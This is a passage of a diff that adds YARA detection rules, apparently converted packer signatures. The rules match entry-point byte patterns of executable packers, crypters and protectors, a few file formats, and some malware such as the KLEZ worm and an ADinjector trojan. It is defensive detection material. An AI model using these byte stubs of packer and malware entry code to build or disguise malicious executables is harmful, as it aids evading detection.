+		$0 at entrypoint
+}
+rule _Minke_V101__Codius_
+{
+	meta:
+		description = "Minke V1.0.1 -> Codius"
+	strings:
+		$0 = {26 3D 4F 38 C2 82 37 B8 F3 24 42 03 17 9B 3A 83 01 00 00 CC 00 00 00 00 06 00 00 00 01 64 53 74 75 62 00 10 55 54 79 70 65 73 00 00 C7 53 79 73 74 65 6D 00 00 81 53 79 73 49 6E 69 74 00 0C 4B 57 69 6E 64 6F 77 73 00 00 8A 75 46 75 6E 63 74 69 6F 6E 73}
+		$1 = {26 3D 4F 38 C2 82 37 B8 F3 24 42 03 17 9B 3A 83 01 00 00 CC 00 00 00 00 06 00 00 00 01 64 53 74 75 62 00 10 55 54 79 70 65 73 00 00 C7 53 79 73 74 65 6D 00 00 81 53 79 73 49 6E 69 74 00 0C 4B 57 69 6E 64 6F 77 73 00 00 8A 75 46 75 6E 63 74 69 6F 6E 73}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vprotect_V202V203__CoooLie_
+{
+	meta:
+		description = "Vprotect V2.0.2-V2.0.3 -> CoooLie"
+	strings:
+		$0 = {66 F7 D7 66 50 66 58 66 F7 D7 9C 9D 8B 67 28 57 66 8B DB 5F 61 8D AD F4 FF FF FF 8D AD 0C 00 00 00 66 57 66 5F 8B FF 9D 9C 8D 80 F0 FF FF FF 8D 80 10 00 00 00 9D 66 F7 D2 66 F7 D2}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_packer_08_
+{
+	meta:
+		description = "Unknown packer (08)"
+	strings:
+		$0 = {8B C4 2D ?? ?? 24 00 8B F8 57 B9 ?? ?? BE ?? ?? F3 A5 FD C3 97 4F 4F}
+	condition:
+		$0 at entrypoint
+}
+rule _ESO_Eclipse_Operating_System_v208_p_DOS_Extender_
+{
+	meta:
+		description = "E.S.O. Eclipse Operating System v.2.08 + DOS Extender"
+	strings:
+		$0 = {8C C8 8E D8 BA ?? ?? E8 ?? ?? BB ?? ?? 8C C0 2B D8 B4 4A CD 21 BA ?? ?? 73 ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Pohernah_Crypter_V103__Kas_
+{
+	meta:
+		description = "Pohernah Crypter V1.0.3 -> Kas"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 2A 27 40 00 31 C0 40 83 F0 06 40 3D 40 1F 00 00 75 07 BE 6A 27 40 00 EB 02 EB EB 8B 85 9E 28 40 00 83 F8 01 75 17 31 C0 01 EE 3D 99 00 00 00 74 0C 8B 8D 86 28 40 00 30 0E 40 46 EB ED}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_CodeSafe_20_
+{
+	meta:
+		description = "PseudoSigner 0.1 [CodeSafe 2.0"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85 E9}
+		$1 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WARNING__TROJAN__ADinjector_
+{
+	meta:
+		description = "WARNING -> TROJAN -> ADinjector"
+	strings:
+		$0 = {90 61 BE 00 20 44 00 8D BE 00 F0 FB FF C7 87 9C E0 04 00 6A F0 8A 5E 57 83 CD FF EB 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _RAR_Configuration_file_
+{
+	meta:
+		description = "RAR Configuration file"
+	strings:
+		$0 = {52 41 52 20 43 4F 4E 46 49 47}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v01__Cyberbob_
+{
+	meta:
+		description = "PESpin v0.1 -> Cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 B3 28 40 00 8B 42 3C 03 C2 89 85 BD 28 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D D1 28 40 00 53 8F 85 C4 27 40 00 BB ?? 00 00 00 B9 A5 08 00 00 8D BD 75 29 40 00 4F 30 1C 39 FE CB E2 F9 68 2D 01 00 00 59 8D BD AA 30 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 07 4F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D C4 28 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00 59 81 C1 1D 00 00 00 52 51 C1 E9 05 23 D1 FF}
+		$1 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+		$2 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 B3 28 40 00 8B 42 3C 03 C2 89 85 BD 28 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D D1 28 40 00 53 8F 85 C4 27 40 00 BB ?? 00 00 00 B9 A5 08 00 00 8D BD 75 29 40 00 4F 30 1C 39 FE CB E2 F9 68 2D 01 00 00 59 8D BD AA 30 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 07 4F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D C4 28 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00 59 81 C1 1D 00 00 00 52 51 C1 E9 05 23 D1 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _RLPack_V120_Dll_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack V1.20 Dll (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 6F 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 92 05 00 00 EB 0C 8B 85 8E 05 00 00 89 85 92 05 00 00 8D B5 BA 05 00 00 8D 9D 41 04 00 00 33 FF E8 38 01 00 00 EB 1B 8B 85 92 05 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 9E 05 00 00 00 74 0E 83 BD A2 05 00 00 00 74 05 E8 D6 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 27 05 00 00 89 85 B6 05 00 00 5B FF B5 B6 05 00 00 56 FF D3 83 C4 08 8B B5 B6 05 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 92 05 00 00 83 C0 04 89 85 B2 05 00 00 EB 6E 56 FF 95 1F 05 00 00 0B C0 75 05 E8 C9 02 00 00 85 C0 0F 84 94 00 00 00 89 85 AE 05 00 00 8B C6 EB 2A 8B 85 B2 05 00 00 8B 00 50 FF B5 AE 05 00 00 E8 11 02 00 00 85 C0 74 72 89 07 83 85 B2 05 00 00 04 83 C7 04 8B 85 B2 05 00 00 83 38 00 75 D1 EB 01 46 80 3E 00 75 FA 46 83 C0 04 8B 38 03 BD 92 05 00 00 83 C0 04 89 85 B2 05 00 00 80 3E 01 75 8D 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 B6 05 00 00 FF 95 2B 05 00 00 68 00 80 00 00 6A 00 FF B5 B6 05 00 00 FF 95 2B 05 00 00 E8 61 00 00 00 E8 5C 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Visual_Studio_NET_2003_Hotfix_Custom_
+{
+	meta:
+		description = "Visual Studio .NET 2003 Hotfix Custom"
+	strings:
+		$0 = {6A 60 68 E8 87 00 01 E8 37 14 00 00 BF 94 00 00 00 8B C7 E8 B3 05 00 00 89 65 E8 8B F4 89 3E 56 FF 15 14 10 00 01 8B 4E 10 89 0D 58 22 01 01 8B 46 04 A3 64 22 01 01 8B 56 08 89 15 68 22 01 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Scitech_Software_Display_Driver_
+{
+	meta:
+		description = "Scitech Software Display Driver"
+	strings:
+		$0 = {56 42 45 41 46 2E 44 52 56}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_14_SE__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.4 SE -> SIS-Team"
+	strings:
+		$0 = {68 90 03 00 00 E8 C6 FD FF FF 68 90 03 00 00 E8 BC FD FF FF 68 90 03 00 00 E8 B2 FD FF FF 50 E8 AC FD FF FF 50 E8 A6 FD FF FF 68 69 D6 00 00 E8 9C FD FF FF 50 E8 96 FD FF FF 50 E8 90 FD FF FF 83 C4 20 E8 78 FF FF FF 84 C0 74 4F 68 04 01 00 00 68 10 22 60}
+		$1 = {68 90 03 00 00 E8 C6 FD FF FF 68 90 03 00 00 E8 BC FD FF FF 68 90 03 00 00 E8 B2 FD FF FF 50 E8 AC FD FF FF 50 E8 A6 FD FF FF 68 69 D6 00 00 E8 9C FD FF FF 50 E8 96 FD FF FF 50 E8 90 FD FF FF 83 C4 20 E8 78 FF FF FF 84 C0 74 4F 68 04 01 00 00 68 10 22 60 00 6A 00 FF 15 08 10 60 00 68 90 03 00 00 E8 68 FD FF FF 68 69 D6 00 00 E8 5E FD FF FF 50 E8 58 FD FF FF 50 E8 52 FD FF FF E8 DD FE FF FF 50 68 A4 10 60 00 68 94 10 60 00 68 10 22 60 00 E8 58 FD FF FF 83 C4 20 33 C0 C2 10 00 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NsPacK_Net__LiuXingPing_
+{
+	meta:
+		description = "NsPacK .Net -> LiuXingPing"
+	strings:
+		$0 = {56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 BB 01 47 65 74 53 79 73 74 65 6D 49 6E 66 6F 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 5E 00 5F 43 6F 72 ?? ?? ?? 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C}
+		$1 = {56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 BB 01 47 65 74 53 79 73 74 65 6D 49 6E 66 6F 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 5E 00 5F 43 6F 72 ?? ?? ?? 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _GameGuard_v20065xx_dll__sign_by_hot_UNP_
+{
+	meta:
+		description = "GameGuard v2006.5.x.x (*.dll) -> sign by hot_UNP"
+	strings:
+		$0 = {31 FF 74 06 61 E9 4A 4D 50 30 BA 4C 00 00 00 80 7C 24 08 01 0F 85 ?? 01 00 00 60 BE 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE2COM_Method_1_
+{
+	meta:
+		description = "EXE2COM (Method 1)"
+	strings:
+		$0 = {8C DB BE ?? ?? 8B C6 B1 ?? D3 E8 03 C3 03 ?? ?? A3 ?? ?? 8C C8 05 ?? ?? A3}
+	condition:
+		$0 at entrypoint
+}
+rule _Netopsystems_FEAD_Optimizer_
+{
+	meta:
+		description = "Netopsystems FEAD Optimizer"
+	strings:
+		$0 = {E8 00 00 00 00 58 BB 00 00 40 00 8B}
+		$1 = {60 BE 00 50 43 00 8D BE 00 C0 FC FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKLITE_v114_v115_v120_3_
+{
+	meta:
+		description = "PKLITE v1.14, v1.15, v1.20 (3)"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B ?? ?? ?? 72 ?? B4 09 BA ?? 01 CD 21 CD 20 4E 6F}
+		$1 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B ?? ?? ?? 72 ?? B4 09 BA ?? 01 CD 21 CD 20 4E 6F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXECryptor_1401__SoftComplete_Development_
+{
+	meta:
+		description = "EXECryptor 1.4.0.1 -> SoftComplete Development"
+	strings:
+		$0 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_10Demo__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.0.Demo -> SIS-Team"
+	strings:
+		$0 = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 DC 01 4D 65 73 73 61 67 65 42 6F 78 41 00 26 00 43 68 61 72 4C 6F 77 65 72 41 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 C5 02 73 74 72 73 74 72 00 00 91 02 6D 61 6C 6C 6F 63 00 00 5E 02 66 72 65 65 00 00 4C 02 66 63 6C 6F 73 65 00 00 DA 00 5F 66 69 6C 62 75 66 00 64 02 66 74 65 6C 6C 00 62 02 66 73 65 65 6B 00 57 02 66 6F 70 65 6E 00 49 00 5F 5F 43 78 78 46 72 61 6D 65 48 61 6E 64 6C 65 72 00 4D 53 56 43 52 54 2E 64 6C 6C 00 00}
+		$1 = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65}
+		$2 = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Upack_V024V028__Dwing__20080321_
+{
+	meta:
+		description = "Upack V0.24-V0.28 -> Dwing * 20080321"
+	strings:
+		$0 = {BE ?? ?? ?? ?? AD 8B F8 95 AD 91 F3 A5 AD ?? ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF ?? ?? ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 01 E3 29 8B D7 2B 55 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 56 08 33 C9 FF 66 24 B1 30 8B 5D 0C 03 D1 FF 16 73 4B 03 D1 FF 16 72 19 03 D1 FF 16 72 29 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 45 0C 8A 00 FF 66 20 83 C2 60 FF 16 87 5D 10 73 0C 03 D1 FF 16 87 5D 14 73 03 87 5D 18 3C 07 B0 08 72 02 B0 0B 50 53 8B D5 03 56 14 FF 56 0C 5B 91 FF 66 3C 07 B0 07 72 02 B0 0A 50 87 5D 10 87 5D 14 89 5D 18 8B D5 03 56 18 FF 56 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _vcasm_10__11__vcasm_
+{
+	meta:
+		description = "vcasm 1.0 - 1.1 -> vcasm"
+	strings:
+		$0 = {EB 01 9A 60}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V120_Dll_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack V1.20 Dll (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 AA 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 9C 0C 00 00 EB 0C 8B 85 98 0C 00 00 89 85 9C 0C 00 00 8D B5 C4 0C 00 00 8D 9D 82 04 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 2D 0C 00 00 89 85 94 0C 00 00 E8 59 01 00 00 EB 20 60 8B 85 9C 0C 00 00 FF B5 94 0C 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD A8 0C 00 00 00 74 0E 83 BD AC 0C 00 00 00 74 05 E8 F2 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 2D 0C 00 00 89 85 C0 0C 00 00 5B 60 FF B5 94 0C 00 00 56 FF B5 C0 0C 00 00 FF D3 61 8B B5 C0 0C 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 9C 0C 00 00 83 C0 04 89 85 BC 0C 00 00 EB 72 56 FF 95 25 0C 00 00 0B C0 75 05 E8 E6 02 00 00 85 C0 0F 84 AB 00 00 00 89 85 B8 0C 00 00 8B C6 EB 2E 8B 85 BC 0C 00 00 8B 00 50 FF B5 B8 0C 00 00 E8 2E 02 00 00 85 C0 0F 84 85 00 00 00 89 07 83 85 BC 0C 00 00 04 83 C7 04 8B 85 BC 0C 00 00 83 38 00 75 CD EB 01 46 80 3E 00 75 FA 46 83 C0 04 8B 38 03 BD 9C 0C 00 00 83 C0 04 89 85 BC 0C 00 00 80 3E 01 75 89 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 C0 0C 00 00 FF 95 31 0C 00 00 68 00 80 00 00 6A 00 FF B5 C0 0C 00 00 FF 95 31 0C 00 00 68 00 80 00 00 6A 00 FF B5 94 0C 00 00 FF 95 31 0C 00 00 E8 61 00 00 00 E8 5C 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v310_
+{
+	meta:
+		description = "Armadillo v3.10"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1 44 00 33 F6 56 E8 72 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC}
+		$1 = {55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1}
+		$2 = {55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1 44 00 33 F6 56 E8 72 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 3D 13 00 00 FF 15 30 40 44 00 A3 84 B7 44 00 E8 FB 11 00 00 A3 E0 A1 44 00 E8 A4 0F 00 00 E8 E6 0E 00 00 E8 4E F6 FF FF 89 75 D0 8D 45 A4 50 FF 15 38 40 44 00 E8 77 0E 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 7C 41 44 00 50 E8 49 D4 FE FF 89 45 A0 50 E8 3C F6 FF FF 8B 45 EC 8B 08 8B 09 89 4D 98 50 51 E8 B5 0C 00 00 59 59 C3 8B 65 E8 FF 75 98 E8 2E F6 FF FF 83 3D E8 A1 44 00 01 75 05}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _RCryptor_v16x__Vaska_
+{
+	meta:
+		description = "RCryptor v1.6x --> Vaska"
+	strings:
+		$0 = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? C3}
+		$1 = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CA_Visual_Objects_V2025_
+{
+	meta:
+		description = "CA Visual Objects V2.0-2.5"
+	strings:
+		$0 = {89 25 ?? ?? ?? ?? 33 ED 55 8B EC E8 ?? ?? ?? ?? 8B D0 81 E2 FF 00 00 00 89 15 ?? ?? ?? ?? 8B D0 C1 EA 08 81 E2 FF 00 00 00 A3 ?? ?? ?? ?? D1 E0 0F 93 C3 33 C0 8A C3 A3 ?? ?? ?? ?? 68 FF 00 00 00 E8 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? BB ?? ?? ?? ?? C7 03 44 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Diet_110a120_EXE_
+{
+	meta:
+		description = "Diet 1.10a/1.20 [EXE]"
+	strings:
+		$0 = {FC 06 1E 0E 8C C8 01 06 35 01 BA 00 00 03 C2 8B D8 05 00 00 8E DB 8E C0 33 F6 33 FF B9 08 00 F3 A5 4B 48 4A 79 EE 8E C3 8E D8 BE 52 00 AD 8B E8 B2 10 EA 00 00 00 00 64 6C 7A}
+	condition:
+		$0 at entrypoint
+}
+rule _Possibly_PCX_graphics_format_
+{
+	meta:
+		description = "Possibly PCX graphics format"
+	strings:
+		$0 = {10 ?? 01}
+		$1 = {0A ?? 01}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _VIRUS__IWormKLEZ_
+{
+	meta:
+		description = "VIRUS - I-Worm.KLEZ"
+	strings:
+		$0 = {55 8B EC 6A FF 68 40 D2 40 ?? 68 04 AC 40 ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 BC D0}
+		$1 = {55 8B EC 6A FF 68 40 D2 40 ?? 68 04 AC 40 ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 BC D0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Windows_Help_file_
+{
+	meta:
+		description = "Microsoft Windows Help file"
+	strings:
+		$0 = {3F 5F 03}
+	condition:
+		$0 at entrypoint
+}
+rule _SDProtector_BasicPro_Edition_110__Randy_Li_
+{
+	meta:
+		description = "SDProtector Basic/Pro Edition 1.10 -> Randy Li"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 50 83 EC 08 64 A1 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 83 C4 08 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 64}
+		$1 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 50 83 EC 08 64 A1 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 83 C4 08 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 64 8F 05 00 00 00 00 64 A3 00 00 00 00 83 C4 08 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 59 03 00 00 03 C8 74 B8 75 B6 E8 00 00}
+		$2 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 50 83 EC 08 64 A1 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 83 C4 08 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 64}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _VcasmProtector_11__12__vcasm_
+{
+	meta:
+		description = "Vcasm-Protector 1.1 - 1.2 -> vcasm"
+	strings:
+		$0 = {EB 0A 5B 56 50 72 6F 74 65 63 74 5D E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00}
+		$1 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Thinstall_Embedded_22X2308__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 2.2X-2.308 -> Jitit"
+	strings:
+		$0 = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 B9 FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
